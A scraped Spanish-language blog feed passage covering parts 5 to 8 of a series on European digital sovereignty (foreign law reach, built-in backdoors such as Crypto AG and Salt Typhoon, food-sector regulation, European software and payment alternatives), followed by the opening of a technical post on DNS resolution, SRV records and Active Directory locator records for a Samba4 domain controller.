a menudo vienen por defecto en compartir, porque ese es el enfoque común en Estados Unidos. La ley europea parte de pedir permiso. Las herramientas de gestión de personal a menudo suponen que el empleo puede terminar con poco aviso, y que no hay comité de empresa al que consultar. Los términos de contrato estándar a menudo quieren que las disputas se oigan en un tribunal de Estados Unidos, bajo la ley de Estados Unidos, incluso para un cliente europeo. Las reglas de contenido siguen el enfoque de 1 país sobre la libre expresión, y luego se aplican en todo el mundo. El soporte para lenguas más pequeñas aparece el último, y a veces no aparece en absoluto. Nada de esto se hace para causar molestias — es el resultado corriente de construir para un mercado de origen y vender el resultado en todas partes.\nSí explica algo sobre el argumento más amplio, sin embargo.\nEl Reglamento General de Protección de Datos, la Ley de Mercados Digitales y la Ley de Servicios Digitales son sobre todo Europa declarando que es un área legal separada con sus propias reglas asentadas.\nLa respuesta a eso ha incluido las medidas comerciales de arriba.\nQué significa para ti Tres puntos prácticos salen de esto.\nLee la cláusula de ley aplicable. Comprueba qué tribunales oirían una disputa. En un contrato grande eso vale la pena negociarlo.\nPregunta dónde está registrada la empresa matriz de tu proveedor. Esa respuesta decide más que la dirección del centro de datos.\nComprueba que un producto encaja en tu marco legal antes de comprarlo. El consentimiento, las reglas de empleo y la conservación de registros son los sitios habituales donde un valor por defecto importado no cuadra con la ley local.\nNada de eso necesita una opinión sobre ningún gobierno. Es diligencia corriente de proveedor, aplicada a una cuestión que la mayoría de las listas de compras todavía se salta.\nLa parte 6 mira la seguridad, y el estándar que se aplica cuando se excluye a un proveedor por motivos de seguridad nacional.\nPublicado por primera vez: 2026-08-25. Última actualización: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/es/random/how-far-the-law-reaches/","summary":"La parte 2 cubrió la ley que alcanza tus datos. La parte 5 de 8 cubre la ley que alcanza tu empresa: grandes sanciones bajo la ley estadounidense, un informe parlamentario francés sobre si eso funciona como arma comercial, presión comercial aplicada a la ley fiscal y a los reguladores, y productos que llevan las suposiciones de un mercado a todas partes.","title":"Hasta dónde llega la ley de un país"},{"content":"Parte 6 de 8. La parte 5 miró hasta dónde llega la ley de un país.\nQué cubre esta entrada La razón que se da para excluir a algunos proveedores. Qué se ha establecido sobre productos debilitados. Qué pasó en 2024. Por qué esto cae también sobre Europa. Qué puedes hacer al respecto. La razón que se da para excluir a algunos proveedores Varios gobiernos han excluido a proveedores chinos de las redes de telefonía e internet, y han restringido algunas apps chinas en los dispositivos oficiales.\nLa razón que se da suele ser la misma: se puede obligar a una empresa a ayudar a su propio gobierno. Así que el equipo lleva un riesgo, haga lo que haga el código.\nEse razonamiento es sólido. También es el mismo razonamiento usado en la parte 2 sobre qué ley se aplica a tus datos.\nSeamos claros sobre una cosa antes de seguir.\nLas operaciones cibernéticas del Estado chino son reales. Las agencias de seguridad nacional europeas las documentan tanto como las estadounidenses, e incluyen robo a gran escala de información comercial. Nada en esta entrada es una defensa de eso.\nPero si el principio es que se puede obligar a un proveedor a ayudar a su propio gobierno, entonces se aplica a cada proveedor que tenga un gobierno.\nAplícalo por igual y el registro del lado europeo y estadounidense no está vacío. En algunos sitios está mejor establecido que las acusaciones, porque los parlamentos lo han investigado.\nQué se ha establecido sobre productos debilitados Tres puntos, cada uno con una fuente, en orden de lo firmemente que se sostienen.\nUn servicio de inteligencia poseía una empresa de cifrado.\nCrypto AG era una empresa suiza que vendió máquinas de cifrado a más de 120 gobiernos desde los años 1950 en adelante.\nEra propiedad de la CIA estadounidense y del BND alemán. Las máquinas se alteraban para que esos servicios pudieran leer los mensajes de los gobiernos que las compraban.\nDescansa sobre más que el periodismo. Después de que estallara la historia, el propio órgano de supervisión de inteligencia del Parlamento suizo investigó y publicó un informe en noviembre de 2020.\nLa radiotelevisión pública suiza SWI ha cubierto los hallazgos, incluido que la inteligencia suiza lo sabía desde 1993.\nLos clientes incluían gobiernos europeos. Funcionó durante unos 50 años.\nUn estándar criptográfico se retiró.\nUn generador de números aleatorios llamado Dual_EC_DRBG se publicó como estándar de Estados Unidos — los números aleatorios son lo que el cifrado usa para hacer las claves impredecibles.\nLos investigadores mostraron que su diseño dejaba a quien eligiera ciertos valores dentro de él predecir su salida.\nEl organismo de normalización desaconsejó usarlo en 2013 y lo eliminó en 2014. The Register informó de los arreglos comerciales relacionados en su momento.\nEl equipo se ha interceptado en tránsito.\nEn diciembre de 2013 la revista alemana Der Spiegel publicó un catálogo de herramientas de interceptación que cubría routers, firewalls, servidores y firmware de almacenamiento de fabricantes bien conocidos.\nEl reportaje también describía equipo desviado en tránsito, alterado, reempaquetado y enviado al cliente.\nEse último merece un momento de cualquiera que compre hardware.\nSignifica que la frontera de confianza no es solo tu proveedor — es tu proveedor y todo lo que maneja la entrega.\nUn proveedor honesto no puede darte una garantía sobre la segunda parte.\nQué pasó en 2024 Este es el suceso que responde a la pregunta de ingeniería, y es lo más útil de esta entrada.\nEn 1994 Estados Unidos aprobó una ley que exigía a las empresas de telefonía construir sus redes de modo que las comunicaciones pudieran interceptarse ante una petición legal.\nAsí que la vía de entrada era permanente, incorporada, y gobernada por un proceso legal.\nEn 2024 se halló que un grupo vinculado al Estado chino, nombrado públicamente Salt Typhoon, se había metido en al menos 9 grandes empresas telefónicas estadounidenses.\nEntre los sistemas alcanzados estaban los propios sistemas de interceptación. The Register informó de la respuesta de los legisladores.\nLa vía de entrada que un gobierno exigió que se construyera se convirtió en la vía por la que entró otro gobierno.\nEso no es mala suerte. Se deduce de cómo funciona una cosa así.\nUna vía de entrada incorporada es una capacidad, no una regla. La ley que la gobierna solo obliga a quien acepta esa ley. Alguien que ha entrado por la fuerza no lo hace.\nCada argumento a favor del acceso legal incorporado supone que el acceso se puede mantener para el usuario previsto. Esta es la evidencia más clara que hay de que la suposición no se sostiene.\nPor qué esto cae también sobre Europa Si ese razonamiento es correcto, es correcto en todas partes, y por eso cae también sobre las propuestas europeas.\nLas propuestas de escanear los mensajes en el dispositivo antes de que se cifren crean la misma clase de vía de entrada incorporada.\nEl Reino Unido tiene una potestad para exigir a las empresas que provean capacidades técnicas. Se ha usado para exigir cambios en una función de cifrado, y el proveedor retiró esa función en el Reino Unido en vez de cambiarla.\nAmbas las persiguen democracias, con supervisión, por razones serias como proteger a los niños.\nAmbas también construyen exactamente la clase de capacidad que 2024 mostró que no se puede mantener de forma fiable para su usuario previsto.\nUna vía de entrada europea no es más segura que ninguna otra, porque a un intruso no le importa lo responsable que sea la institución. Lo que le importa es si la cosa existe.\nPor lo que la versión útil de este argumento es una técnica, no una política.\n«No te fíes de los proveedores del país X» hay que reabrirlo cada vez que la política cambia.\n«Supón que cualquier vía de entrada incorporada acabará usándola alguien para quien no se construyó» se sostiene sin importar nada.\nQué puedes hacer al respecto La respuesta práctica no va principalmente de a quién le compras. Va de diseñar de modo que la pregunta importe menos.\nTrata la red como no fiable. Cifra el tráfico de punta a punta, y no dejes que un sistema se fíe de otro solo por dónde está en la red.\nGuarda tú mismo tus claves de cifrado donde puedas. La parte 2 explicó por qué eso cambia a quién se le pueden pedir tus datos. También limita lo que un intruso encuentra que vale la pena tener.\nEnvía menos. Los datos que nunca recogiste no se pueden interceptar, pedir ni perder. El control menos de moda de la lista, y a menudo el más efectivo.\nComprueba qué corre tu equipo antes de fiarte de él. El arranque verificado y la comprobación de firmware valen la pena activarlos donde tu hardware los soporte.\nEn sistemas de verdad sensibles, comprueba las entregas. El embalaje con evidencia de manipulación y los números de serie registrados son bastante simples.\nNinguno de estos necesita que decidas de qué gobierno preocuparte más.\nEso es justo por lo que son la mejor respuesta. Un control que solo funciona si tu conjetura sobre la política es correcta no es realmente un control.\nLa parte 7 sale de la tecnología, y mira cómo otras industrias manejaron el mismo problema.\nPublicado por primera vez: 2026-08-25. Última actualización: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/es/random/backdoors-and-who-is-accused/","summary":"Excluir a un proveedor por motivos de seguridad necesita un estándar, aplicado por igual. La parte 6 de 8 expone lo que se ha establecido sobre productos debilitados e interceptación, incluida una investigación parlamentaria suiza, y muestra por qué una vía de entrada incorporada pertenece a quienquiera que la alcance.","title":"Puertas traseras, y a quién se acusa de ellas"},{"content":"Parte 7 de 8. La parte 6 miró la seguridad y las vías de entrada incorporadas.\nQué cubre esta entrada Por qué la comparación es útil. Las semillas, y los términos de licencia sobre seres vivos. Los supermercados, y las reglas hechas para ellos. Por qué la tecnología no tiene nada parecido. Qué te dice. Por qué la comparación es útil Hay una idea común de que la tecnología es un tipo nuevo de poder y necesita un tipo nuevo de pensamiento.\nEs una idea reconfortante, y es casi toda ella errónea. Creerla es una razón de que la respuesta haya tardado tanto en llegar.\nEl problema de esta serie es viejo. Un proveedor se vuelve esencial. Las alternativas del cliente desaparecen. Los términos dejan de acordarse y empiezan a anunciarse.\nEso ha pasado en industrias sin nada de software.\nLa comparación ayuda de 2 formas.\nMuestra lo que tiende a venir después, porque esas industrias están más adelante en el camino.\nY muestra qué aspecto tiene una respuesta seria, porque algunas de esas respuestas ya existen y funcionan.\nLas semillas, y los términos de licencia sobre seres vivos Un agricultor que compra semilla está en un sitio muy parecido al de una organización que compra software esencial.\nCuatro empresas, Bayer, Corteva, Syngenta y BASF, tienen la mayor parte del mercado global de semillas y una cuota parecida de pesticidas. La organización suiza Public Eye publica análisis de ello.\nPara algunos cultivos concretos está aún más apretado, y un puñado de firmas tiene la mayor parte de las patentes relevantes.\nLa licencia te resultará familiar si alguna vez has leído un acuerdo de software.\nUna semilla patentada no se vende sin más. Se licencia, y los términos pueden impedir la práctica más vieja de la agricultura: guardar parte de la cosecha de este año para plantarla el que viene.\nAsí que el agricultor compra el uso de la semilla por 1 temporada. El derecho a reproducirla, que es todo el sentido de una semilla, se queda con el proveedor.\nEso es una compra permanente convertida en una recurrente. Le pasó a la agricultura antes de pasarle al software.\nHay un segundo detalle familiar.\nLa semilla a menudo se construye para funcionar con un pesticida concreto, y la misma empresa vende los dos. Comprar uno hace comprar el otro más fácil que cambiar.\nLos economistas agrarios han seguido los resultados: menos variedades disponibles, costes de insumos más altos, y menos capacidad de cambiar de proveedor.\nLos supermercados, y las reglas hechas para ellos La otra mitad de la comida muestra el mismo problema desde el lado de la compra. Este es el ejemplo que vale la pena copiar.\nUn pequeño número de minoristas maneja la mayor parte de las ventas de alimentación en el Reino Unido.\nAsí que un proveedor se enfrenta a muy pocos clientes posibles. Perder uno puede acabar con el negocio. Para el minorista, reemplazar a un proveedor es el trabajo de una mañana.\nEse desequilibrio quedó documentado lo bastante bien como para que el Parlamento actuara. El Groceries Code Adjudicator se creó en 2013. Supervisa si los grandes minoristas siguen el Groceries Supply Code of Practice.\nMira qué restringe ese código, y luego piensa en tu última renovación de software.\nCambiar los términos acordados a posteriori, sin acuerdo. Cobrar a un proveedor por el derecho a seguir haciendo negocios. Trasladar costes y riesgos al proveedor sin compensación. Usar la retirada de la venta como palanca en una disputa. La Unión Europea construyó su propia versión. La Directiva 2019/633 sobre prácticas comerciales desleales cubre la cadena de suministro agrícola y alimentaria.\nProhíbe el pago tardío, cancelar pedidos con poco aviso, cambiar los términos de forma unilateral, y amenazar con represalias comerciales. Cada Estado miembro tiene una autoridad que la hace cumplir.\nNinguno de los dos regímenes es perfecto. Las potestades del Adjudicador son limitadas, no cubre el precio en sí, y ha usado sus potestades más fuertes con parquedad.\nPero el principio que llevan dentro es el que falta en la tecnología.\nDonde el poder de negociación es muy desigual, la libertad de contrato no existe realmente. Así que ciertas prácticas se prohíben de plano, en vez de dejarse a la negociación.\nNadie ha sugerido que a un proveedor de software se le deba impedir cambiar los términos acordados a posteriori.\nNadie trata un cobro por sacar tus propios datos como trasladar un coste a la parte más débil.\nEn la comida, ambos se detectarían enseguida. En el software lo llamamos un modelo de licencia.\nPor qué la tecnología no tiene nada parecido Cuatro razones, y vale la pena entenderlas porque apuntan a lo que tendría que cambiar.\nLa velocidad. La concentración en la alimentación tardó unos 100 años. La concentración en la nube tardó unos 15. Para cuando podías verla con claridad, ya había pasado.\nLos servicios gratuitos. El derecho de la competencia en la mayoría de los países creció en torno a los precios que pagan los consumidores. Un servicio a precio cero parece inofensivo bajo esa prueba, incluso cuando el cliente no es el usuario.\nLa afirmación de novedad. La industria argumentó, con éxito, que su economía era distinta, y que ser difícil de dejar era solo una propiedad de los sistemas complejos y no una elección de diseño.\nLa organización. Los agricultores tienen sindicatos, cooperativas y una larga costumbre de negociar juntos. La han usado para ganar protecciones legales concretas.\nLos compradores de tecnología tienen grupos de usuarios y una conferencia. Cuando a los clientes de VMware les cayeron grandes subidas, la resistencia real vino de una asociación sectorial de proveedores de nube, y fue por la vía del derecho de la competencia. La parte 2 cubrió lo que eso tarda.\nQué te dice Dos conclusiones, y las dos vale la pena tenerlas.\nEl problema es estructural, no nacional.\nBayer es alemana. Los mayores supermercados son británicos, franceses y alemanes. El modelo de compra apalancada de la parte 3 se usa con ganas por toda Europa.\nReemplaza mañana a cada proveedor estadounidense de esta serie por 4 europeos y el comportamiento vuelve, porque se deduce de la estructura.\nPor eso, el consejo aquí va sobre poder cambiar de proveedor, y no sobre elegir un país.\nYa existe una respuesta que funciona.\nNo necesitamos inventar una teoría nueva de la regulación de plataformas.\nHay un modelo donde ciertas prácticas se prohíben porque el poder de negociación es desigual, un adjudicador oye las quejas, y la parte más débil no carga con toda la carga de la prueba.\nSe construyó para las coles. Funcionaría en contratos de nube.\nLa parte 8 mira qué se está construyendo en Europa ahora, y cómo comprobar dónde estás.\nPublicado por primera vez: 2026-08-25. Última actualización: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/es/random/the-same-pattern-elsewhere/","summary":"Nada de esto es nuevo, y en realidad no va de tecnología. Cuatro empresas controlan la mayor parte del suministro mundial de semillas. Diez minoristas mueven la mayor parte de la comida de Gran Bretaña. Ambos produjeron una respuesta legal que el software no tiene. La parte 7 de 8 los compara, y pregunta por qué la tecnología se salió con la suya.","title":"El mismo patrón en otras industrias"},{"content":"Parte 8 de 8. La parte 7 comparó el patrón con otras industrias.\nQué cubre esta entrada Qué ha construido Europa de verdad. Qué es realista hoy, y qué no. 3 preguntas para averiguar dónde estás. Una palabra honesta sobre esta web. La tendencia ha girado Durante muchos años, la independencia digital europea fue sobre todo una conversación.\nDesde 2025 eso ha cambiado. Ahora hay productos que funcionan, y organizaciones usándolos cada día.\nEsta es la tendencia más útil de toda la serie, porque es sobre la que puedes actuar.\nSoftware de oficina y colaboración openDesk es un conjunto de herramientas de código abierto para el trabajo de oficina de cada día. Documentos, correo, calendarios, ficheros, chat y reuniones por vídeo.\nLo cuida ZenDiS, el centro alemán de soberanía digital.\nEstá construido a partir de herramientas que ya existían: Nextcloud para ficheros, Collabora para documentos, Open-Xchange para correo y calendarios, Element para chat, Jitsi para vídeo.\nEstá en uso real. Las fuerzas armadas alemanas firmaron un acuerdo de varios años. El Instituto Robert Koch, un organismo alemán de salud pública, lo hace funcionar para varios miles de personas. La Corte Penal Internacional lo eligió en 2025.\nAhora hay también opciones comerciales.\noffice.eu se lanzó en La Haya en marzo de 2026. Es una alternativa alojada de propiedad europea a las grandes suites de oficina estadounidenses.\nEuro-Office siguió en junio de 2026. Es un editor de documentos compartido construido conjuntamente por varias empresas europeas, incluidas IONOS, Nextcloud, XWiki, OpenProject, Open-Xchange y office.eu.\nTrabajar juntos así importa. Significa que cada empresa no está construyendo el mismo editor otra vez por su cuenta.\nGobiernos moviéndose de verdad Algunos gobiernos ya se han movido, lo que nos da al resto experiencia real de la que aprender.\nEl Ministerio danés de Digitalización pasó de Microsoft 365 a LibreOffice desde julio de 2025. LibreOffice es una suite de oficina gratuita.\nEl estado alemán de Schleswig-Holstein está moviendo decenas de miles de ordenadores de personal a código abierto.\nFrancia y Alemania también están construyendo herramientas compartidas juntas, en vez de que cada uno pague por la suya.\nEs justo decir que esto no siempre es un camino de rosas.\nMúnich movió el ayuntamiento a Linux durante varios años, y luego volvió a Windows en 2017. The Register informó del coste en su momento.\nLa principal lección de Múnich no fue técnica. El software funcionaba en su mayoría. Lo que no duró fue el respaldo político, a través de cambios de administración, en un proyecto que corrió más de una década.\nAsí que estas cosas necesitan apoyo constante durante muchos años. Es un requisito real, y vale la pena planificarlo honestamente.\nPagos Los pagos siguen la misma tendencia, y mucha gente no se da cuenta de lo concentrados que están.\nEl análisis de las cifras del Banco Central Europeo sugiere que Visa y Mastercard manejaron en torno al 47 % del valor de los pagos con tarjeta en la zona euro en 2025. En varios países la cuota es bastante mayor.\nVarios países europeos sí tienen sus propios sistemas de tarjeta. El problema es que no funcionan a través de las fronteras, así que el que funciona en todas partes es el estadounidense.\nWero es la respuesta europea. Lo gestiona la European Payments Initiative.\nEmpezó con pagos entre personas en Bélgica, Francia y Alemania. Ahora tiene decenas de millones de usuarios registrados. Luxemburgo se unió en 2026, y los Países Bajos están moviendo su sistema iDEAL existente a él. El European Payments Council publica los avances.\nPagar en tiendas y en línea es la siguiente etapa. Esa es la etapa que decide si Wero se convierte en una alternativa real.\nEl euro digital está detrás de ello, en un plazo más largo de en torno a 2029.\nReglas nuevas La Comisión Europea publicó su propuesta de Ley de Desarrollo de Nube e IA el 2026-06-03.\nEs el primer intento serio de convertir la soberanía de la nube de una etiqueta voluntaria en un requisito legal.\nClasifica a los proveedores de nube en niveles, según dónde está la infraestructura, con qué independencia se puede operar, y quién la posee. Los compradores del sector público necesitarían proveedores que cumplan al menos el nivel más bajo.\nEs una propuesta. Todavía no es ley, y puede cambiar por el camino.\nQué es realista, y qué no Una lista esperanzada puede torcerse fácilmente aquí, así que seamos claros.\nRealista hoy. Documentos de oficina, correo, calendarios, ficheros, chat y vídeo. Existen opciones europeas y de código abierto que funcionan, y hay organizaciones haciéndolas correr en producción ahora mismo.\nLlegando. Los pagos, y algunos servicios de nube. Las partes existen. La cobertura todavía se está rellenando.\nAún no. La infraestructura de nube a gran escala. La capacidad europea está muy por debajo de la demanda.\nQué se puede reemplazar hoy con una opción europea o de código abierto Cómo de reemplazable es cada capa hoy Trabajo de oficina Documentos, correo, calendarios, ficheros, chat, vídeo Reemplazable ahora Pagos Wero está creciendo; las tiendas y en línea son la siguiente etapa Parcialmente listo Infraestructura de nube La capacidad europea es mucho menor que la demanda Aún no Chips de ordenador Fortalezas europeas reales, pero sin sustituto completo hoy No esta década Cuanto más arriba mires en la pila, más elección tienes hoy. No esta década. Los chips en sí. Europa tiene fortalezas reales, incluidas ASML en los Países Bajos e Infineon y NXP en el diseño de chips. Nada de eso reemplaza hoy a un procesador gráfico de centro de datos.\nLa Bertelsmann Stiftung, una fundación alemana, ha calculado que construir una pila europea completa llevaría en torno a 10 años y unos 300 000 millones de euros.\nAsí que la independencia completa no está sobre la mesa, y quien la ofrezca está vendiendo de más lo que tiene.\nPor eso, la independencia completa nunca fue el objetivo útil.\n3 preguntas para averiguar dónde estás Aquí tienes una forma sencilla de mirar tus propios sistemas. Sirve para cualquier proveedor, en cualquier país.\nHazte estas 3 preguntas sobre cada servicio del que dependes.\n1. ¿Qué deja de funcionar si este servicio se para?\nSé específico. Nombra los sistemas y las personas afectadas. «Es importante» no es algo con lo que puedas planificar.\n2. ¿Cuántas semanas de trabajo llevaría mudarse?\nEse número fija tu posición en cada renovación mientras conserves el proveedor.\nSi no puedes estimarlo, eso ya vale la pena saberlo.\n3. ¿Podría tu organización hacer funcionar de verdad la alternativa?\nNo si existe una alternativa. Si tu equipo, del tamaño que de verdad tiene, podría hacerla funcionar.\nLibreOffice es una respuesta genuina para un ministerio con presupuesto de formación. Es una respuesta más difícil para una empresa pequeña sin personal de TI.\nOrdena tus servicios según esas 3 respuestas. La lista suele ser corta, y a menudo no es la que la gente espera.\nPara muchas organizaciones, el correo y las cuentas de personal salen por encima de la computación en la nube. Moverlos rara vez se prueba, y llevaría un buen rato.\nLuego hazte las mismas 3 preguntas sobre cualquier alternativa europea que estés sopesando.\nUn único proveedor europeo del que no puedes irte no es mucho mejor que un único proveedor estadounidense del que no puedes irte.\nLa ventaja real de los formatos abiertos y el código abierto no es el precio. Es que hacen la pregunta 2 respondible, y la pregunta 3 posible.\nUna palabra honesta sobre esta web No sería justo escribir todo esto sin volverlo contra mí mismo.\nEsta web está construida con Hugo y servida por Cloudflare, una empresa estadounidense. Cada punto de esta serie se le aplica.\nElegí Cloudflare porque funciona bien y no me cuesta nada. Si la cuenta se parara mañana cambiaría algunos ajustes de DNS y publicaría en otro sitio.\nAsí que la exposición es real y la consecuencia es pequeña. Es un trato justo, y lo hice a propósito.\nEl resto de mi propio equipo también es mixto. Proxmox, del que escribo a menudo, es austriaco. Corre sobre procesadores diseñados en Estados Unidos, sobre firmware que no puedo inspeccionar.\nNo hay montaje que llegue a cero. Eso nunca fue el objetivo.\nLa versión corta La tecnología pasó de algo que comprabas a algo que alquilas.\nAlquilar es a menudo mejor, que es justo por lo que pasó.\nCada coste de alquilar crece cuanto más difícil te sea irte.\nDesde 2025 han aterrizado alternativas reales para el trabajo de oficina de cada día, y están aterrizando para los pagos.\nAsí que el objetivo práctico no es esquivar a ningún país en concreto. Es reducir el número de servicios de los que no podrías irte en 3 meses.\nEmpieza por los que nunca has probado. Ahí es donde suele estar esperando la sorpresa.\nPublicado por primera vez: 2026-08-25. Última actualización: 2026-08-25.\n","permalink":"https://blogs.damiendye.uk/es/random/choice-coming-back/","summary":"Desde 2025 la respuesta europea ha pasado de planes a cosas que puedes instalar. La parte 8 de 8 cubre lo que ha aterrizado, lo que honestamente aún está a años vista, y da 3 preguntas para averiguar dónde estás.","title":"Dónde te vuelven las opciones"},{"content":"Cada máquina en un dominio de Active Directory encuentra su controlador de dominio preguntando a DNS. No desde una lista configurada. Pide un registro SRV, y va adonde la respuesta la mande. Lo que convierte a un puñado de registros bajo _msdcs en lo más crítico para la seguridad de la zona, y plantea dos preguntas que vale la pena responder como es debido: cómo los firmas, y quién tiene permiso para escribirlos. Ninguna se hace a menudo, y las dos se responden mal por defecto.\nEsta entrada responde a ambas para un controlador de dominio Samba4. BIND con dlz_bind9 sirviendo el directorio, firma inline, un primario oculto al que ningún cliente llega jamás, una delegación dentro de una zona pública para que la cadena de confianza llegue a la raíz, y las actualizaciones dinámicas de clientes mantenidas bien lejos de los localizadores.\nPero firmar solo vale algo si sabes qué protege, y eso significa empezar un nivel más abajo — en cómo se resuelve un nombre en primer lugar. Así que el primer tercio de esto es el recorrido a la bajada desde la raíz. Si ya te lo sabes al dedillo, salta a los dos backends de DNS de Samba.\nUn resolver nace sabiendo casi nada Vale la pena tener claro lo poco que un resolver trae de fábrica, porque todo lo demás en esta entrada se deduce de ahí.\nUn resolver recursivo recién instalado sabe dos cosas. Sabe las direcciones de los servidores raíz — un fichero de pistas, trece nombres desde a.root-servers.net hasta m.root-servers.net, servidos por anycast desde muchas más instancias que trece. Y, si valida, sabe una clave pública: la de la raíz.\nEsa es toda la configuración de fábrica. Cualquier otro hecho que vaya a servir jamás — qué servidores son autoritativos para uk, dónde vive tu dominio, qué dirección tiene tu servidor de correo — se aprende en tiempo de ejecución preguntando, y luego se cachea hasta que su TTL se agota.\nEl recorrido por el árbol Una consulta no es una sola pregunta. Es una serie de remisiones a la bajada por el árbol de nombres, y cada paso es una consulta aparte a un servidor distinto.\nDigamos que un cliente quiere dc01.ad.example.co.uk. Un resolver con la caché fría hace esto:\nPregunta a un servidor raíz. La raíz no sabe la respuesta y no finge saberla. Devuelve una remisión: una sección de respuesta vacía, y en la sección de autoridad los registros NS de uk, con las direcciones de esos servidores de nombres como glue en la sección adicional. Pregunta a un servidor de uk. Otra remisión, esta vez a los servidores de nombres de example.co.uk. Pregunta a un servidor de example.co.uk. Si ad.example.co.uk está delegada — y en el diseño de más adelante en esta entrada lo está — una remisión más. Pregunta a un servidor de ad.example.co.uk. Este es autoritativo para el nombre, así que responde con el registro A y pone el bit AA (respuesta autoritativa). Una sola consulta recorriendo el árbol de delegación, una remisión cada vez Resolver recursivo Nace sabiendo solo: \u0026#183; las pistas de la raíz \u0026#183; la clave pública de la raíz 1 \u0026#160; Servidor raíz a\u0026#8211;m.root-servers.net Remisión los registros NS de uk. \u0026#8212; más sus direcciones como glue 2 \u0026#160; Servidor de nombres de uk autoritativo para uk. Remisión los registros NS de example.co.uk. 3 \u0026#160; example.co.uk guarda la delegación Remisión ad.example.co.uk. está delegada \u0026#8212; pregunta a sus servidores 4 \u0026#160; ad.example.co.uk autoritativo para el nombre Respuesta el registro A de dc01, con el bit AA puesto Cada paso se cachea hasta que su TTL expira, así que un resolver caliente empieza en el paso 3 o 4. Que es justo lo que hace que una entrada de caché envenenada valga tanto. Una consulta, cuatro servidores. Cada paso devuelve no la respuesta sino el nombre de un sitio mejor al que preguntar, y el resolver cachea cada paso a la bajada. Tres cosas de ese recorrido importan más adelante.\nLa remisión es la delegación. El padre de una zona no guarda su contenido. Guarda registros NS que dicen «pregunta allí», y — una vez que entra la firma en escena — un registro DS que dice «y aquí está la huella de la clave que deberías esperar cuando lo hagas». La delegación es el único mecanismo estructural que tiene DNS, y es lo que usarás para mantener interna una zona interna.\nCasi todo esto se cachea. Las remisiones de la raíz y del TLD tienen TTL largos, así que un resolver caliente salta directo al paso tres o cuatro. Por eso vale la pena atacar la caché de un resolver: envenena una entrada y has redirigido todo lo que hay debajo de ella durante todo el TTL que elegiste.\nEl nombre completo no se envía a cada servidor. Con la minimización de QNAME, un resolver pregunta a la raíz solo por uk, no por dc01.ad.example.co.uk. Bueno saberlo si alguna vez vas a buscar tus nombres internos en un registro de consultas río arriba. No deberían estar ahí.\nStub, recursivo, autoritativo Tres palabras que se usan indistintamente y significan trabajos bastante distintos. La distinción es portante para la mitad de Active Directory de esta entrada, así que vale la pena dejarla clavada.\nQué hace ¿Recorre el árbol? ¿Guarda datos de zona? Resolver stub La biblioteca o servicio local al que llaman tus aplicaciones. Pregunta a un servidor configurado y se queda con la respuesta. No No Reenviador Pasa las consultas a otro resolver, cachea las respuestas. No No Resolver recursivo Hace el recorrido de arriba, cachea cada paso, opcionalmente valida firmas. Sí No Servidor autoritativo Responde por las zonas que se le han dado, y solo esas. Dice «no lo sé» sobre todo lo demás. No Sí La línea importante es la última. Un servidor autoritativo no tiene nada que hacer haciendo recursión, y un resolver recursivo no tiene nada que hacer siendo autoritativo. Combinarlos es cómo consigues una máquina que a la vez aceptará preguntas arbitrarias de los clientes y guardará datos de los que esos clientes dependen — que es exactamente la máquina que no quieres que sea tu controlador de dominio.\nEn un escritorio Linux moderno hay otra capa que conviene conocer. systemd-resolved corre un escuchador stub en la dirección de loopback y escribe un resolv.conf que apunta a sí mismo, con options edns0 trust-ad. Ese trust-ad es el que hay que notar: le dice al stub que se crea el bit AD (datos autenticados) en las respuestas de ese servidor. El bit AD no es prueba de nada por sí solo — es la afirmación del resolver río arriba de que él validó. Fiarse de él es razonable cuando el río arriba es tuyo y el salto hasta él es de fiar, y no significa nada en caso contrario.\nCómo se encuentran de verdad los servicios Un registro A responde a una pregunta: qué dirección tiene este nombre. No dice nada sobre en qué puerto está el servicio, cuál de varios servidores preferir, o qué hacer cuando el primero está caído.\nLos registros SRV responden a las tres. De la RFC 2782, la forma es:\n_service._proto.name. TTL IN SRV priority weight port target Las partes de un registro SRV y qué decide cada una el transporte el dominio el servicio qué tipo de servidor _ldap. _tcp. dc._msdcs. ad.example.com. 600 IN SRV 0 100 389 dc01.ad.example.com. un nombre \u0026#8212; los subrayados lo sacan del espacio de hosts TTL tipo de registro prioridad peso puerto destino La prioridad más baja se prueba primero. El peso reparte carga entre los servidores que están en la misma prioridad. El destino debe ser un nombre de host con registros A o AAAA \u0026#8212; nunca un CNAME. Un único destino de «.» significa que el servicio no se ofrece aquí a propósito. Un registro SRV diseccionado. El nombre de propietario codifica el servicio y el transporte; el cuerpo del registro lleva el orden de conmutación por error, el reparto de carga dentro de un orden, el puerto, y un destino que debe ser un nombre de host real. Cada campo se gana su sitio:\nLos prefijos de subrayado mantienen las etiquetas de servicio en un espacio de nombres propio. _tcp nunca puede colisionar con un host llamado de verdad tcp, porque un nombre de host no puede empezar por un subrayado. La prioridad es el orden de conmutación por error — se prueba primero el más bajo. Los servidores con un número de prioridad más alto solo se usan cuando todo lo de debajo es inalcanzable. El peso reparte carga dentro de una prioridad. Un par a peso 100 y peso 300 se lleva aproximadamente un cuarto y tres cuartos de los clientes. Es un sorteo proporcional, no un round-robin. El puerto libera al servicio de un número bien conocido, que es cómo un cliente encuentra un servidor LDAP en el 3268 sin que nadie lo escriba a fuego. El destino debe ser un nombre con registros A o AAAA. La RFC 2782 es explícita en que no debe ser un CNAME, y en que un único destino de . significa «este servicio no se ofrece aquí a propósito» — algo útil que publicar deliberadamente. Esto es lo que hace que un dominio sea localizable en vez de configurado. Una máquina unida al dominio no tiene una lista de tus controladores de dominio. Tiene un nombre de dominio, y pregunta.\nLos nombres que publica Active Directory Un dominio de AD es, desde el punto de vista de un cliente, sobre todo un conjunto de registros SRV. El árbol bajo _msdcs es la parte interesante, porque es cómo los clientes distinguen «un servidor LDAP» de «un controlador de dominio para este dominio» de «un catálogo global para este bosque»:\nNombre Qué lo pide _ldap._tcp.\u0026lt;domain\u0026gt; Cualquier cosa que quiera LDAP en el dominio _ldap._tcp.dc._msdcs.\u0026lt;domain\u0026gt; Localización de controlador de dominio — el importante _ldap._tcp.pdc._msdcs.\u0026lt;domain\u0026gt; El emulador PDC en concreto _ldap._tcp.gc._msdcs.\u0026lt;forest\u0026gt; Catálogo global _kerberos._tcp.\u0026lt;domain\u0026gt;, _kerberos._udp.\u0026lt;domain\u0026gt; Localización de KDC, antes de que exista ningún ticket _kpasswd._tcp.\u0026lt;domain\u0026gt;, _kpasswd._udp.\u0026lt;domain\u0026gt; Cambios de contraseña _ldap._tcp.\u0026lt;site\u0026gt;._sites.dc._msdcs.\u0026lt;domain\u0026gt; Localización consciente del sitio 